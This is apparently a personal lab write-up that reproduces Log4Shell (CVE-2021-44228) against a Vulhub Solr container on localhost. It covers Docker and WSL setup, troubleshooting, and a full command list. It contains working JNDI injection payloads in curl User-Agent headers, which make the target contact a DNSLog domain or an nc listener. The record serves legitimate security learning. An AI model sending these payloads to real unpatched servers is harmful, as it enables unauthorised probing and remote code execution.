CVE-2021-44228 (Log4Shell) Vulnerability Complete Replication Record

This record is based on the Apache Solr 8.11.0 target environment provided by Vulhub, fully replicating the Log4j2 JNDI injection vulnerability, and successfully verifying the vulnerability's existence through DNSLog and local LDAP monitoring.

1. Experimental Environment

• Operating System: Windows 11 + WSL2 (Ubuntu)
• Container Platform: Docker Desktop 4.76
• Target Environment Source: Vulhub (vulhub/log4j/CVE-2021-44228)
• Target Service: Apache Solr 8.11.0 (with log4j-core 2.14.1)
• Attacker Machine: Local host (simultaneously serving as DNSLog client and LDAP listener)

2. Environment Setup Process

2.1 Obtaining Vulhub Source Code

Due to unstable direct connection to GitHub, use Gitee mirror for acceleration:

cd D:\\SecWork
git clone https://gitee.com/hanxu2486/vulhub.git

2.2 Solving Docker Image Pull Issues Under the Domestic Network

Configure Alibaba Cloud dedicated image accelerator (log in to the Container Image Service to obtain the personal address):

• Open Docker Desktop → Settings → Docker Engine
• Modify registry-mirrors:

{
  "registry-mirrors": ["https://xxxxx.mirror.aliyuncs.com"]
}

• Click Apply & Restart

If TLS handshake timeout still occurs, execute sudo hwclock -s in WSL to synchronize time.

2.3 Starting the Solr Container

cd D:\SecWork\vulhub\log4j\CVE-2021-44228
docker-compose up -d

Output shows success:

✔ Image vulhub/solr:8.11.0    Pulled    117.7s
✔ Container cve-2021-44228-solr-1    Started

Access http://localhost:8983/solr to see the Solr management interface; the environment is ready.

3. Vulnerability Replication Steps

3.1 Creating a Test Core

Solr does not have a default core; it needs to be created manually:

curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"

Returns "status":0, core test created successfully.

3.2 Using DNSLog to Detect Vulnerability Existence

Open browser to visit http://dnslog.cn, click Get SubDomain, and obtain a temporary domain, e.g., abc123.dnslog.cn

Execute on the command line (use curl.exe to avoid PowerShell alias conflicts):

curl.exe -H 'User-Agent: ${jndi:ldap://abc123.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'

Return to http://dnslog.cn, click Refresh Record, immediately see DNS resolution records, proving the vulnerability exists.

3.3 Local Monitoring Verification (In-depth Verification)

Start monitoring in WSL: nc -lvp 1389

Obtain the host IP (run ipconfig in Windows PowerShell, find the WSL virtual NIC IP, e.g., 172.30.208.1)

Send a malicious request with the local IP:

curl.exe -H 'User-Agent: ${jndi:ldap://172.30.208.1:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'

Observe the nc window, connection information appears:

connect to [172.30.208.1] from localhost [127.0.0.1] 54321

Proves that Solr successfully initiated an LDAP query to the attacker machine; vulnerability replication succeeded.

4. Vulnerability Principle Overview

Apache Log4j2's JndiLookup feature allows the use of ${jndi:ldap://...} placeholders in log messages. When a log message is recorded, Log4j2 parses the placeholder and attempts to access a remote LDAP server via JNDI. An attacker can set up a malicious LDAP server that returns a Java deserialization payload, thereby achieving remote code execution.

In this replication, by setting the User-Agent header to the malicious payload, Solr recorded that header while processing the request, triggering the JNDI query and proving the vulnerability's existence.

5. Experimental Results Summary

• ✅ Successfully built the Vulhub vulnerability environment, overcoming various issues under the domestic network (DNS hijacking, image acceleration, WSL time synchronization, etc.).
• ✅ Independently completed vulnerability triggering, verifying JNDI injection through DNSLog and local monitoring in two ways.
• ✅ In-depth understanding of the Log4Shell vulnerability principle and the attack chain of JNDI injection.
• ✅ Accumulated practical experience in Docker network troubleshooting, WSL2 configuration, Git proxy cleaning, etc.

6. Troubleshooting Summary

Problem	Root Cause	Solution
git clone 502 / connection timeout	DNS hijacking / proxy interference	Use Gitee mirror, clear Git proxy, flush DNS
Docker image pull 429	Public image source rate limiting	Configure Alibaba Cloud dedicated accelerator
TLS handshake timeout	WSL2 time not synchronized	sudo hwclock -s to sync time
Vulnerability not triggered	Core not created or payload location incorrect	Create core, use User-Agent header

7. Complete Command List

# Clone Vulhub (using Gitee mirror)
git clone https://gitee.com/hanxu2486/vulhub.git

# Enter the vulnerability directory
cd D:\SecWork\vulhub\log4j\CVE-2021-44228

# Start the environment
docker-compose up -d

# Create Solr Core
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"

# DNSLog verification
curl -H 'User-Agent: ${jndi:ldap://your.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'

# Local monitoring verification (run nc in WSL)
nc -lvp 1389
curl -H 'User-Agent: ${jndi:ldap://your.wsl.ip:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'

# Close the environment
docker-compose down

8. Reference Links

• Vulhub Official Project
• CVE-2021-44228 Details
• DNSLog Platform

Written: June 2026 Author: HanXu Repository: https://github.com/hmxh123/Log4Shell-Vulnerability-Replication